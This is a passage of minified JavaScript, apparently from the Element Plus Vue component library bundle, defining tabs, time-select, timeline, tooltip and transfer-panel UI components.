ae("div",{class:at,style:d(H)},[ae(hfe,J,Lc(wt)?wt:{default:()=>[wt]}),ae(mfe,O,Lc(wt)?wt:{default:()=>[wt]}),ae(gfe,$,Lc(wt)?wt:{default:()=>[wt]}),t.footer&&ae(v4,gt,{default:t.footer}),d(X)&&ae(g4,{class:r.e("empty"),style:d(j)},{default:t.empty}),t.overlay&&ae(y4,{class:r.e("overlay")},{default:t.overlay})])}}}),Efe=Ge({disableWidth:Boolean,disableHeight:Boolean,onResize:{type:he(Function)}}),Afe=ie({name:"ElAutoResizer",props:Efe,setup(e,{slots:t}){const n=Oe("auto-resizer"),{height:r,width:o,sizer:i}=Qde(e),s={width:"100%",height:"100%"};return()=>{var a;return ae("div",{ref:i,class:n.b(),style:s},[(a=t.default)==null?void 0:a.call(t,{height:r.value,width:o.value})])}}}),Mfe=It(Sfe),Cfe=It(Afe),Dm=Symbol("tabsRootContextKey"),kfe=Ge({tabs:{type:he(Array),default:()=>Mn([])}}),b4="ElTabBar",xfe=ie({name:b4}),Ofe=ie({...xfe,props:kfe,setup(e,{expose:t}){const n=e,r=bt(),o=Fe(Dm);o||tr(b4,"<el-tabs><el-tab-bar /></el-tabs>");const i=Oe("tabs"),s=D(),a=D(),l=()=>{let c=0,f=0;const p=["top","bottom"].includes(o.props.tabPosition)?"width":"height",m=p==="width"?"x":"y",g=m==="x"?"left":"top";return n.tabs.every(v=>{var I,q;const M=(q=(I=r.parent)==null?void 0:I.refs)==null?void 0:q[`tab-${v.uid}`];if(!M)return!1;if(!v.active)return!0;c=M[`offset${Oi(g)}`],f=M[`client${Oi(p)}`];const E=window.getComputedStyle(M);return p==="width"&&(n.tabs.length>1&&(f-=Number.parseFloat(E.paddingLeft)+Number.parseFloat(E.paddingRight)),c+=Number.parseFloat(E.paddingLeft)),!1}),{[p]:`${f}px`,transform:`translate${Oi(m)}(${c}px)`}},u=()=>a.value=l();return Ce(()=>n.tabs,async()=>{await $e(),u()},{immediate:!0}),On(s,()=>u()),t({ref:s,update:u}),(c,f)=>(B(),_("div",{ref_key:"barRef",ref:s,class:F([d(i).e("active-bar"),d(i).is(d(o).props.tabPosition)]),style:De(a.value)},null,6))}});var zfe=Ye(Ofe,[["__file","tab-bar.vue"]]);const Kfe=Ge({panes:{type:he(Array),default:()=>Mn([])},currentName:{type:[String,Number],default:""},editable:Boolean,type:{type:String,values:["card","border-card",""],default:""},stretch:Boolean}),Rfe={tabClick:(e,t,n)=>n instanceof Event,tabRemove:(e,t)=>t instanceof Event},k7="ElTabNav",Lfe=ie({name:k7,props:Kfe,emits:Rfe,setup(e,{expose:t,emit:n}){const r=bt(),o=Fe(Dm);o||tr(k7,"<el-tabs><tab-nav /></el-tabs>");const i=Oe("tabs"),s=VN(),a=ij(),l=D(),u=D(),c=D(),f=D(),p=D(!1),m=D(0),g=D(!1),v=D(!0),I=N(()=>["top","bottom"].includes(o.props.tabPosition)?"width":"height"),q=N(()=>({transform:`translate${I.value==="width"?"X":"Y"}(-${m.value}px)`})),M=()=>{if(!l.value)return;const H=l.value[`offset${Oi(I.value)}`],P=m.value;if(!P)return;const U=P>H?P-H:0;m.value=U},E=()=>{if(!l.value||!u.value)return;const H=u.value[`offset${Oi(I.value)}`],P=l.value[`offset${Oi(I.value)}`],U=m.value;if(H-U<=P)return;const X=H-U>P*2?U+P:H-P;m.value=X},x=async()=>{const H=u.value;if(!p.value||!c.value||!l.value||!H)return;await $e();const P=c.value.querySelector(".is-active");if(!P)return;const U=l.value,X=["top","bottom"].includes(o.props.tabPosition),L=P.getBoundingClientRect(),h=U.getBoundingClientRect(),b=X?H.offsetWidth-h.width:H.offsetHeight-h.height,w=m.value;let A=w;X?(L.left<h.left&&(A=w-(h.left-L.left)),L.right>h.right&&(A=w+L.right-h.right)):(L.top<h.top&&(A=w-(h.top-L.top)),L.bottom>h.bottom&&(A=w+(L.bottom-h.bottom))),A=Math.max(A,0),m.value=Math.min(A,b)},R=()=>{var H;if(!u.value||!l.value)return;e.stretch&&((H=f.value)==null||H.update());const P=u.value[`offset${Oi(I.value)}`],U=l.value[`offset${Oi(I.value)}`],X=m.value;U<P?(p.value=p.value||{},p.value.prev=X,p.value.next=X+U<P,P-X<U&&(m.value=P-U)):(p.value=!1,X>0&&(m.value=0))},K=H=>{const P=H.code,{up:U,down:X,left:L,right:h}=_e;if(![U,X,L,h].includes(P))return;const b=Array.from(H.currentTarget.querySelectorAll("[role=tab]:not(.is-disabled)")),w=b.indexOf(H.target);let A;P===L||P===U?w===0?A=b.length-1:A=w-1:w<b.length-1?A=w+1:A=0,b[A].focus({preventScroll:!0}),b[A].click(),W()},W=()=>{v.value&&(g.value=!0)},j=()=>g.value=!1;return Ce(s,H=>{H==="hidden"?v.value=!1:H==="visible"&&setTimeout(()=>v.value=!0,50)}),Ce(a,H=>{H?setTimeout(()=>v.value=!0,50):v.value=!1}),On(c,R),mt(()=>setTimeout(()=>x(),0)),ws(()=>R()),t({scrollToActiveTab:x,removeFocus:j}),Ce(()=>e.panes,()=>r.update(),{flush:"post",deep:!0}),()=>{const H=p.value?[ae("span",{class:[i.e("nav-prev"),i.is("disabled",!p.value.prev)],onClick:M},[ae(Pe,null,{default:()=>[ae(va,null,null)]})]),ae("span",{class:[i.e("nav-next"),i.is("disabled",!p.value.next)],onClick:E},[ae(Pe,null,{default:()=>[ae(Xr,null,null)]})])]:null,P=e.panes.map((U,X)=>{var L,h,b,w;const A=U.uid,C=U.props.disabled,S=(h=(L=U.props.name)!=null?L:U.index)!=null?h:`${X}`,z=!C&&(U.isClosable||e.editable);U.index=`${X}`;const k=z?ae(Pe,{class:"is-icon-close",onClick:te=>n("tabRemove",U,te)},{default:()=>[ae(fi,null,null)]}):null,y=((w=(b=U.slots).label)==null?void 0:w.call(b))||U.props.label,T=!C&&U.active?0:-1;return ae("div",{ref:`tab-${A}`,class:[i.e("item"),i.is(o.props.tabPosition),i.is("active",U.active),i.is("disabled",C),i.is("closable",z),i.is("focus",g.value)],id:`tab-${S}`,key:`tab-${A}`,"aria-controls":`pane-${S}`,role:"tab","aria-selected":U.active,tabindex:T,onFocus:()=>W(),onBlur:()=>j(),onClick:te=>{j(),n("tabClick",U,S,te)},onKeydown:te=>{z&&(te.code===_e.delete||te.code===_e.backspace)&&n("tabRemove",U,te)}},[y,k])});return ae("div",{ref:c,class:[i.e("nav-wrap"),i.is("scrollable",!!p.value),i.is(o.props.tabPosition)]},[H,ae("div",{class:i.e("nav-scroll"),ref:l},[ae("div",{class:[i.e("nav"),i.is(o.props.tabPosition),i.is("stretch",e.stretch&&["top","bottom"].includes(o.props.tabPosition))],ref:u,style:q.value,role:"tablist",onKeydown:K},[e.type?null:ae(zfe,{ref:f,tabs:[...e.panes]},null),P])])])}}}),Zfe=Ge({type:{type:String,values:["card","border-card",""],default:""},closable:Boolean,addable:Boolean,modelValue:{type:[String,Number]},editable:Boolean,tabPosition:{type:String,values:["top","right","bottom","left"],default:"top"},beforeLeave:{type:he(Function),default:()=>!0},stretch:Boolean}),I0=e=>st(e)||nt(e),Tfe={[St]:e=>I0(e),tabClick:(e,t)=>t instanceof Event,tabChange:e=>I0(e),edit:(e,t)=>["remove","add"].includes(t),tabRemove:e=>I0(e),tabAdd:()=>!0},Nfe=ie({name:"ElTabs",props:Zfe,emits:Tfe,setup(e,{emit:t,slots:n,expose:r}){var o;const i=Oe("tabs"),{children:s,addChild:a,removeChild:l}=iI(bt(),"ElTabPane"),u=D(),c=D((o=e.modelValue)!=null?o:"0"),f=async(v,I=!1)=>{var q,M,E;if(!(c.value===v||Vn(v)))try{await((q=e.beforeLeave)==null?void 0:q.call(e,v,c.value))!==!1&&(c.value=v,I&&(t(St,v),t("tabChange",v)),(E=(M=u.value)==null?void 0:M.removeFocus)==null||E.call(M))}catch{}},p=(v,I,q)=>{v.props.disabled||(f(I,!0),t("tabClick",v,q))},m=(v,I)=>{v.props.disabled||Vn(v.props.name)||(I.stopPropagation(),t("edit",v.props.name,"remove"),t("tabRemove",v.props.name))},g=()=>{t("edit",void 0,"add"),t("tabAdd")};return Ce(()=>e.modelValue,v=>f(v)),Ce(c,async()=>{var v;await $e(),(v=u.value)==null||v.scrollToActiveTab()}),Ot(Dm,{props:e,currentName:c,registerPane:a,unregisterPane:l}),r({currentName:c}),()=>{const v=n["add-icon"],I=e.editable||e.addable?ae("span",{class:i.e("new-tab"),tabindex:"0",onClick:g,onKeydown:E=>{E.code===_e.enter&&g()}},[v?qe(n,"add-icon"):ae(Pe,{class:i.is("icon-plus")},{default:()=>[ae(D3,null,null)]})]):null,q=ae("div",{class:[i.e("header"),i.is(e.tabPosition)]},[I,ae(Lfe,{ref:u,currentName:c.value,editable:e.editable,type:e.type,panes:s.value,stretch:e.stretch,onTabClick:p,onTabRemove:m},null)]),M=ae("div",{class:i.e("content")},[qe(n,"default")]);return ae("div",{class:[i.b(),i.m(e.tabPosition),{[i.m("card")]:e.type==="card",[i.m("border-card")]:e.type==="border-card"}]},[...e.tabPosition!=="bottom"?[q,M]:[M,q]])}}}),jfe=Ge({label:{type:String,default:""},name:{type:[String,Number]},closable:Boolean,disabled:Boolean,lazy:Boolean}),Wfe=["id","aria-hidden","aria-labelledby"],I4="ElTabPane",Gfe=ie({name:I4}),Yfe=ie({...Gfe,props:jfe,setup(e){const t=e,n=bt(),r=pr(),o=Fe(Dm);o||tr(I4,"usage: <el-tabs><el-tab-pane /></el-tabs/>");const i=Oe("tab-pane"),s=D(),a=N(()=>t.closable||o.props.closable),l=Zw(()=>{var m;return o.currentName.value===((m=t.name)!=null?m:s.value)}),u=D(l.value),c=N(()=>{var m;return(m=t.name)!=null?m:s.value}),f=Zw(()=>!t.lazy||u.value||l.value);Ce(l,m=>{m&&(u.value=!0)});const p=$t({uid:n.uid,slots:r,props:t,paneName:c,active:l,index:s,isClosable:a});return mt(()=>{o.registerPane(p)}),Ia(()=>{o.unregisterPane(p.uid)}),(m,g)=>d(f)?ft((B(),_("div",{key:0,id:`pane-${d(c)}`,class:F(d(i).b()),role:"tabpanel","aria-hidden":!d(l),"aria-labelledby":`tab-${d(c)}`},[qe(m.$slots,"default")],10,Wfe)),[[_t,d(l)]]):pe("v-if",!0)}});var q4=Ye(Yfe,[["__file","tab-pane.vue"]]);const Bfe=It(Nfe,{TabPane:q4}),Jfe=kn(q4),Vfe=Ge({type:{type:String,values:["primary","success","info","warning","danger",""],default:""},size:{type:String,values:Ui,default:""},truncated:{type:Boolean},lineClamp:{type:[String,Number]},tag:{type:String,default:"span"}}),Ufe=ie({name:"ElText"}),Ffe=ie({...Ufe,props:Vfe,setup(e){const t=e,n=nr(),r=Oe("text"),o=N(()=>[r.b(),r.m(t.type),r.m(n.value),r.is("truncated",t.truncated),r.is("line-clamp",!Vn(t.lineClamp))]);return(i,s)=>(B(),ye(Et(i.tag),{class:F(d(o)),style:De({"-webkit-line-clamp":i.lineClamp})},{default:fe(()=>[qe(i.$slots,"default")]),_:3},8,["class","style"]))}});var Hfe=Ye(Ffe,[["__file","text.vue"]]);const Pfe=It(Hfe),Dfe=Ge({format:{type:String,default:"HH:mm"},modelValue:String,disabled:Boolean,editable:{type:Boolean,default:!0},effect:{type:String,default:"light"},clearable:{type:Boolean,default:!0},size:fr,placeholder:String,start:{type:String,default:"09:00"},end:{type:String,default:"18:00"},step:{type:String,default:"00:30"},minTime:String,maxTime:String,name:String,prefixIcon:{type:he([String,Object]),default:()=>P3},clearIcon:{type:he([String,Object]),default:()=>qa}}),ls=e=>{const t=(e||"").split(":");if(t.length>=2){let n=Number.parseInt(t[0],10);const r=Number.parseInt(t[1],10),o=e.toUpperCase();return o.includes("AM")&&n===12?n=0:o.includes("PM")&&n!==12&&(n+=12),{hours:n,minutes:r}}return null},q0=(e,t)=>{const n=ls(e);if(!n)return-1;const r=ls(t);if(!r)return-1;const o=n.minutes+n.hours*60,i=r.minutes+r.hours*60;return o===i?0:o>i?1:-1},x7=e=>`${e}`.padStart(2,"0"),vu=e=>`${x7(e.hours)}:${x7(e.minutes)}`,Xfe=(e,t)=>{const n=ls(e);if(!n)return"";const r=ls(t);if(!r)return"";const o={hours:n.hours,minutes:n.minutes};return o.minutes+=r.minutes,o.hours+=r.hours,o.hours+=Math.floor(o.minutes/60),o.minutes=o.minutes%60,vu(o)},Qfe=ie({name:"ElTimeSelect"}),_fe=ie({...Qfe,props:Dfe,emits:["change","blur","focus","update:modelValue"],setup(e,{expose:t}){const n=e;yt.extend(fI);const{Option:r}=zl,o=Oe("input"),i=D(),s=fo(),{lang:a}=Vt(),l=N(()=>n.modelValue),u=N(()=>{const q=ls(n.start);return q?vu(q):null}),c=N(()=>{const q=ls(n.end);return q?vu(q):null}),f=N(()=>{const q=ls(n.step);return q?vu(q):null}),p=N(()=>{const q=ls(n.minTime||"");return q?vu(q):null}),m=N(()=>{const q=ls(n.maxTime||"");return q?vu(q):null}),g=N(()=>{const q=[];if(n.start&&n.end&&n.step){let M=u.value,E;for(;M&&c.value&&q0(M,c.value)<=0;)E=yt(M,"HH:mm").locale(a.value).format(n.format),q.push({value:E,disabled:q0(M,p.value||"-1:-1")<=0||q0(M,m.value||"100:100")>=0}),M=Xfe(M,f.value)}return q});return t({blur:()=>{var q,M;(M=(q=i.value)==null?void 0:q.blur)==null||M.call(q)},focus:()=>{var q,M;(M=(q=i.value)==null?void 0:q.focus)==null||M.call(q)}}),(q,M)=>(B(),ye(d(zl),{ref_key:"select",ref:i,"model-value":d(l),disabled:d(s),clearable:q.clearable,"clear-icon":q.clearIcon,size:q.size,effect:q.effect,placeholder:q.placeholder,"default-first-option":"",filterable:q.editable,"onUpdate:modelValue":M[0]||(M[0]=E=>q.$emit("update:modelValue",E)),onChange:M[1]||(M[1]=E=>q.$emit("change",E)),onBlur:M[2]||(M[2]=E=>q.$emit("blur",E)),onFocus:M[3]||(M[3]=E=>q.$emit("focus",E))},{prefix:fe(()=>[q.prefixIcon?(B(),ye(d(Pe),{key:0,class:F(d(o).e("prefix-icon"))},{default:fe(()=>[(B(),ye(Et(q.prefixIcon)))]),_:1},8,["class"])):pe("v-if",!0)]),default:fe(()=>[(B(!0),_(Qe,null,Lt(d(g),E=>(B(),ye(d(r),{key:E.value,label:E.value,value:E.value,disabled:E.disabled},null,8,["label","value","disabled"]))),128))]),_:1},8,["model-value","disabled","clearable","clear-icon","size","effect","placeholder","filterable"]))}});var Jh=Ye(_fe,[["__file","time-select.vue"]]);Jh.install=e=>{e.component(Jh.name,Jh)};const $fe=Jh,ehe=$fe,the=ie({name:"ElTimeline",setup(e,{slots:t}){const n=Oe("timeline");return Ot("timeline",t),()=>tt("ul",{class:[n.b()]},[qe(t,"default")])}}),nhe=Ge({timestamp:{type:String,default:""},hideTimestamp:{type:Boolean,default:!1},center:{type:Boolean,default:!1},placement:{type:String,values:["top","bottom"],default:"bottom"},type:{type:String,values:["primary","success","warning","danger","info"],default:""},color:{type:String,default:""},size:{type:String,values:["normal","large"],default:"normal"},icon:{type:cn},hollow:{type:Boolean,default:!1}}),rhe=ie({name:"ElTimelineItem"}),ohe=ie({...rhe,props:nhe,setup(e){const t=e,n=Oe("timeline-item"),r=N(()=>[n.e("node"),n.em("node",t.size||""),n.em("node",t.type||""),n.is("hollow",t.hollow)]);return(o,i)=>(B(),_("li",{class:F([d(n).b(),{[d(n).e("center")]:o.center}])},[ne("div",{class:F(d(n).e("tail"))},null,2),o.$slots.dot?pe("v-if",!0):(B(),_("div",{key:0,class:F(d(r)),style:De({backgroundColor:o.color})},[o.icon?(B(),ye(d(Pe),{key:0,class:F(d(n).e("icon"))},{default:fe(()=>[(B(),ye(Et(o.icon)))]),_:1},8,["class"])):pe("v-if",!0)],6)),o.$slots.dot?(B(),_("div",{key:1,class:F(d(n).e("dot"))},[qe(o.$slots,"dot")],2)):pe("v-if",!0),ne("div",{class:F(d(n).e("wrapper"))},[!o.hideTimestamp&&o.placement==="top"?(B(),_("div",{key:0,class:F([d(n).e("timestamp"),d(n).is("top")])},We(o.timestamp),3)):pe("v-if",!0),ne("div",{class:F(d(n).e("content"))},[qe(o.$slots,"default")],2),!o.hideTimestamp&&o.placement==="bottom"?(B(),_("div",{key:1,class:F([d(n).e("timestamp"),d(n).is("bottom")])},We(o.timestamp),3)):pe("v-if",!0)],2)],2))}});var w4=Ye(ohe,[["__file","timeline-item.vue"]]);const ihe=It(the,{TimelineItem:w4}),she=kn(w4),S4=Ge({nowrap:Boolean});var E4=(e=>(e.top="top",e.bottom="bottom",e.left="left",e.right="right",e))(E4||{});const ahe=Object.values(E4),WI=Ge({width:{type:Number,default:10},height:{type:Number,default:10},style:{type:he(Object),default:null}}),lhe=Ge({side:{type:he(String),values:ahe,required:!0}}),uhe=["absolute","fixed"],che=["top-start","top-end","top","bottom-start","bottom-end","bottom","left-start","left-end","left","right-start","right-end","right"],GI=Ge({ariaLabel:String,arrowPadding:{type:he(Number),default:5},effect:{type:String,default:""},contentClass:String,placement:{type:he(String),values:che,default:"bottom"},reference:{type:he(Object),default:null},offset:{type:Number,default:8},strategy:{type:he(String),values:uhe,default:"absolute"},showArrow:{type:Boolean,default:!1}}),YI=Ge({delayDuration:{type:Number,default:300},defaultOpen:Boolean,open:{type:Boolean,default:void 0},onOpenChange:{type:he(Function)},"onUpdate:open":{type:he(Function)}}),ou={type:he(Function)},BI=Ge({onBlur:ou,onClick:ou,onFocus:ou,onMouseDown:ou,onMouseEnter:ou,onMouseLeave:ou}),dhe=Ge({...YI,...WI,...BI,...GI,alwaysOn:Boolean,fullTransition:Boolean,transitionProps:{type:he(Object),default:null},teleported:Boolean,to:{type:he(String),default:"body"}}),Xm=Symbol("tooltipV2"),A4=Symbol("tooltipV2Content"),w0="tooltip_v2.open",fhe=ie({name:"ElTooltipV2Root"}),hhe=ie({...fhe,props:YI,setup(e,{expose:t}){const n=e,r=D(n.defaultOpen),o=D(null),i=N({get:()=>Cl(n.open)?r.value:n.open,set:I=>{var q;r.value=I,(q=n["onUpdate:open"])==null||q.call(n,I)}}),s=N(()=>nt(n.delayDuration)&&n.delayDuration>0),{start:a,stop:l}=fa(()=>{i.value=!0},N(()=>n.delayDuration),{immediate:!1}),u=Oe("tooltip-v2"),c=Jr(),f=()=>{l(),i.value=!0},p=()=>{d(s)?a():f()},m=f,g=()=>{l(),i.value=!1};return Ce(i,I=>{var q;I&&(document.dispatchEvent(new CustomEvent(w0)),m()),(q=n.onOpenChange)==null||q.call(n,I)}),mt(()=>{document.addEventListener(w0,g)}),vn(()=>{l(),document.removeEventListener(w0,g)}),Ot(Xm,{contentId:c,triggerRef:o,ns:u,onClose:g,onDelayOpen:p,onOpen:m}),t({onOpen:m,onClose:g}),(I,q)=>qe(I.$slots,"default",{open:d(i)})}});var phe=Ye(hhe,[["__file","root.vue"]]);const mhe=ie({name:"ElTooltipV2Arrow"}),vhe=ie({...mhe,props:{...WI,...lhe},setup(e){const t=e,{ns:n}=Fe(Xm),{arrowRef:r}=Fe(A4),o=N(()=>{const{style:i,width:s,height:a}=t,l=n.namespace.value;return{[`--${l}-tooltip-v2-arrow-width`]:`${s}px`,[`--${l}-tooltip-v2-arrow-height`]:`${a}px`,[`--${l}-tooltip-v2-arrow-border-width`]:`${s/2}px`,[`--${l}-tooltip-v2-arrow-cover-width`]:s/2-1,...i||{}}});return(i,s)=>(B(),_("span",{ref_key:"arrowRef",ref:r,style:De(d(o)),class:F(d(n).e("arrow"))},null,6))}});var O7=Ye(vhe,[["__file","arrow.vue"]]);const ghe=Ge({style:{type:he([String,Object,Array]),default:()=>({})}}),yhe=ie({name:"ElVisuallyHidden"}),bhe=ie({...yhe,props:ghe,setup(e){const t=e,n=N(()=>[t.style,{position:"absolute",border:0,width:1,height:1,padding:0,margin:-1,overflow:"hidden",clip:"rect(0, 0, 0, 0)",whiteSpace:"nowrap",wordWrap:"normal"}]);return(r,o)=>(B(),_("span",xt(r.$attrs,{style:d(n)}),[qe(r.$slots,"default")],16))}});var Ihe=Ye(bhe,[["__file","visual-hidden.vue"]]);const qhe=["data-side"],whe=ie({name:"ElTooltipV2Content"}),She=ie({...whe,props:{...GI,...S4},setup(e){const t=e,{triggerRef:n,contentId:r}=Fe(Xm),o=D(t.placement),i=D(t.strategy),s=D(null),{referenceRef:a,contentRef:l,middlewareData:u,x:c,y:f,update:p}=$9({placement:o,strategy:i,middleware:N(()=>{const E=[E6(t.offset)];return t.showArrow&&E.push(eP({arrowRef:s})),E})}),m=wc().nextZIndex(),g=Oe("tooltip-v2"),v=N(()=>o.value.split("-")[0]),I=N(()=>({position:d(i),top:`${d(f)||0}px`,left:`${d(c)||0}px`,zIndex:m})),q=N(()=>{if(!t.showArrow)return{};const{arrow:E}=d(u);return{[`--${g.namespace.value}-tooltip-v2-arrow-x`]:`${E==null?void 0:E.x}px`||"",[`--${g.namespace.value}-tooltip-v2-arrow-y`]:`${E==null?void 0:E.y}px`||""}}),M=N(()=>[g.e("content"),g.is("dark",t.effect==="dark"),g.is(d(i)),t.contentClass]);return Ce(s,()=>p()),Ce(()=>t.placement,E=>o.value=E),mt(()=>{Ce(()=>t.reference||n.value,E=>{a.value=E||void 0},{immediate:!0})}),Ot(A4,{arrowRef:s}),(E,x)=>(B(),_("div",{ref_key:"contentRef",ref:l,style:De(d(I)),"data-tooltip-v2-root":""},[E.nowrap?pe("v-if",!0):(B(),_("div",{key:0,"data-side":d(v),class:F(d(M))},[qe(E.$slots,"default",{contentStyle:d(I),contentClass:d(M)}),ae(d(Ihe),{id:d(r),role:"tooltip"},{default:fe(()=>[E.ariaLabel?(B(),_(Qe,{key:0},[Kt(We(E.ariaLabel),1)],64)):qe(E.$slots,"default",{key:1})]),_:3},8,["id"]),qe(E.$slots,"arrow",{style:De(d(q)),side:d(v)})],10,qhe))],4))}});var z7=Ye(She,[["__file","content.vue"]]);const Ehe=Ge({setRef:{type:he(Function),required:!0},onlyChild:Boolean});var Ahe=ie({props:Ehe,setup(e,{slots:t}){const n=D(),r=Lm(n,o=>{o?e.setRef(o.nextElementSibling):e.setRef(null)});return()=>{var o;const[i]=((o=t.default)==null?void 0:o.call(t))||[],s=e.onlyChild?fH(i.children):i.children;return ae(Qe,{ref:r},[s])}}});const Mhe=ie({name:"ElTooltipV2Trigger"}),Che=ie({...Mhe,props:{...S4,...BI},setup(e){const t=e,{onClose:n,onOpen:r,onDelayOpen:o,triggerRef:i,contentId:s}=Fe(Xm);let a=!1;const l=M=>{i.value=M},u=()=>{a=!1},c=Kn(t.onMouseEnter,o),f=Kn(t.onMouseLeave,n),p=Kn(t.onMouseDown,()=>{n(),a=!0,document.addEventListener("mouseup",u,{once:!0})}),m=Kn(t.onFocus,()=>{a||r()}),g=Kn(t.onBlur,n),v=Kn(t.onClick,M=>{M.detail===0&&n()}),I={blur:g,click:v,focus:m,mousedown:p,mouseenter:c,mouseleave:f},q=(M,E,x)=>{M&&Object.entries(E).forEach(([R,K])=>{M[x](R,K)})};return Ce(i,(M,E)=>{q(M,I,"addEventListener"),q(E,I,"removeEventListener"),M&&M.setAttribute("aria-describedby",s.value)}),vn(()=>{q(i.value,I,"removeEventListener"),document.removeEventListener("mouseup",u)}),(M,E)=>M.nowrap?(B(),ye(d(Ahe),{key:0,"set-ref":l,"only-child":""},{default:fe(()=>[qe(M.$slots,"default")]),_:3})):(B(),_("button",xt({key:1,ref_key:"triggerRef",ref:i},M.$attrs),[qe(M.$slots,"default")],16))}});var khe=Ye(Che,[["__file","trigger.vue"]]);const xhe=ie({name:"ElTooltipV2"}),Ohe=ie({...xhe,props:dhe,setup(e){const n=Fn(e),r=$t(cs(n,Object.keys(WI))),o=$t(cs(n,Object.keys(GI))),i=$t(cs(n,Object.keys(YI))),s=$t(cs(n,Object.keys(BI)));return(a,l)=>(B(),ye(phe,or(kr(i)),{default:fe(({open:u})=>[ae(khe,xt(s,{nowrap:""}),{default:fe(()=>[qe(a.$slots,"trigger")]),_:3},16),(B(),ye(jl,{to:a.to,disabled:!a.teleported},[a.fullTransition?(B(),ye(Hn,or(xt({key:0},a.transitionProps)),{default:fe(()=>[a.alwaysOn||u?(B(),ye(z7,or(xt({key:0},o)),{arrow:fe(({style:c,side:f})=>[a.showArrow?(B(),ye(O7,xt({key:0},r,{style:c,side:f}),null,16,["style","side"])):pe("v-if",!0)]),default:fe(()=>[qe(a.$slots,"default")]),_:3},16)):pe("v-if",!0)]),_:2},1040)):(B(),_(Qe,{key:1},[a.alwaysOn||u?(B(),ye(z7,or(xt({key:0},o)),{arrow:fe(({style:c,side:f})=>[a.showArrow?(B(),ye(O7,xt({key:0},r,{style:c,side:f}),null,16,["style","side"])):pe("v-if",!0)]),default:fe(()=>[qe(a.$slots,"default")]),_:3},16)):pe("v-if",!0)],64))],8,["to","disabled"]))]),_:3},16))}});var zhe=Ye(Ohe,[["__file","tooltip.vue"]]);const Khe=It(zhe),M4="left-check-change",C4="right-check-change",gu=Ge({data:{type:he(Array),default:()=>[]},titles:{type:he(Array),default:()=>[]},buttonTexts:{type:he(Array),default:()=>[]},filterPlaceholder:String,filterMethod:{type:he(Function)},leftDefaultChecked:{type:he(Array),default:()=>[]},rightDefaultChecked:{type:he(Array),default:()=>[]},renderContent:{type:he(Function)},modelValue:{type:he(Array),default:()=>[]},format:{type:he(Object),default:()=>({})},filterable:Boolean,props:{type:he(Object),default:()=>Mn({label:"label",key:"key",disabled:"disabled"})},targetOrder:{type:String,values:["original","push","unshift"],default:"original"},validateEvent:{type:Boolean,default:!0}}),My=(e,t)=>[e,t].every(Ve)||Ve(e)&&$n(t),Rhe={[qn]:(e,t,n)=>[e,n].every(Ve)&&["left","right"].includes(t),[St]:e=>Ve(e),[M4]:My,[C4]:My},Cy="checked-change",Lhe=Ge({data:gu.data,optionRender:{type:he(Function)},placeholder:String,title:String,filterable:Boolean,format:gu.format,filterMethod:gu.filterMethod,defaultChecked:gu.leftDefaultChecked,props:gu.props}),Zhe={[Cy]:My},yf=e=>{const t={label:"label",key:"key",disabled:"disabled"};return N(()=>({...t,...e.props}))},The=(e,t,n)=>{const r=yf(e),o=N(()=>e.data.filter(c=>ot(e.filterMethod)?e.filterMethod(t.query,c):String(c[r.value.label]||c[r.value.key]).toLowerCase().includes(t.query.toLowerCase()))),i=N(()=>o.value.filter(c=>!c[r.value.disabled])),s=N(()=>{const c=t.checked.length,f=e.data.length,{noChecked:p,hasChecked:m}=e.format;return p&&m?c>0?m.replace(/\${checked}/g,c.toString()).replace(/\${total}/g,f.toString()):p.replace(/\${total}/g,f.toString()):`${c}/${f}`}),a=N(()=>{const c=t.checked.length;return c>0&&c<i.value.length}),l=()=>{const c=i.value.map(f=>f[r.value.key]);t.allChecked=c.length>0&&c.every(f=>t.checked.includes(f))},u=c=>{t.checked=c?i.value.map(f=>f[r.value.key]):[]};return Ce(()=>t.checked,(c,f)=>{if(l(),t.checkChangeByUser){const p=c.concat(f).filter(m=>!c.includes(m)||!f.includes(m));n(Cy,c,p)}else n(Cy,c),t.checkChangeByUser=!0}),Ce(i,()=>{l()}),Ce(()=>e.data,()=>{const c=[],f=o.value.map(p=>p[r.value.key]);t.checked.forEach(p=>{f.includes(p)&&c.push(p)}),t.checkChangeByUser=!1,t.checked=c}),Ce(()=>e.defaultChecked,(c,f)=>{if(f&&c.length===f.length&&c.every(g=>f.includes(g)))return;const p=[],m=i.value.map(g=>g[r.value.key]);c.forEach(g=>{m.includes(g)&&p.push(g)}),t.checkChangeByUser=!1,t.checked=p},{immediate:!0}),{filteredData:o,checkableData:i,checkedSummary:s,isIndeterminate:a,updateAllChecked:l,handleAllCheckedChange:u}},Nhe=(e,t)=>({onSourceCheckedChange:(o,i)=>{e.leftChecked=o,i&&t(M4,o,i)},onTargetCheckedChange:(o,i)=>{e.rightChecked=o,i&&t(C4,o,i)}}),jhe=e=>{const t=yf(e),n=N(()=>e.data.reduce((i,s)=>(i[s[t.value.key]]=s)&&i,{})),r=N(()=>e.data.filter(i=>!e.modelValue.includes(i[t.value.key]))),o=N(()=>e.targetOrder==="original"?e.data.filter(i=>e.modelValue.includes(i[t.value.key])):e.modelValue.reduce((i,s)=>{const a=n.value[s];return a&&i.push(a),i},[]));return{sourceData:r,targetData:o}},Whe=(e,t,n)=>{const r=yf(e),o=(a,l,u)=>{n(St,a),n(qn,a,l,u)};return{addToLeft:()=>{const a=e.modelValue.slice();t.rightChecked.forEach(l=>{const u=a.indexOf(l);u>-1&&a.splice(u,1)}),o(a,"left",t.rightChecked)},addToRight:()=>{let a=e.modelValue.slice();const l=e.data.filter(u=>{const c=u[r.value.key];return t.leftChecked.includes(c)&&!e.modelValue.includes(c)}).map(u=>u[r.value.key]);a=e.targetOrder==="unshift"?l.concat(a):a.concat(l),e.targetOrder==="original"&&(a=e.data.filter(u=>a.includes(u[r.value.key])).map(u=>u[r.value.key])),o(a,"right",t.leftChecked)}}},Ghe=ie({name:"ElTransferPanel"}),Yhe=ie({...Ghe,props:Lhe,emits:Zhe,setup(e,{expose:t,emit:n}){const r=e,o=pr(),i=({option:E})=>E,{t:s}=Vt(),a=Oe("transfer"),l=$t({checked:[],allChecked:!1,query:"",checkChangeByUser:!0}),u=yf(r),{filteredData:c,checkedSummary:f,isIndeterminate:p,handleAllCheckedChange:m}=The(r,l,n),g=N(()=>!Zo(l.query)&&Zo(c.value)),v=N(()=>!Zo(o.default()[0].children)),{checked:I,allChecked:q,query:M}=Fn(l);return 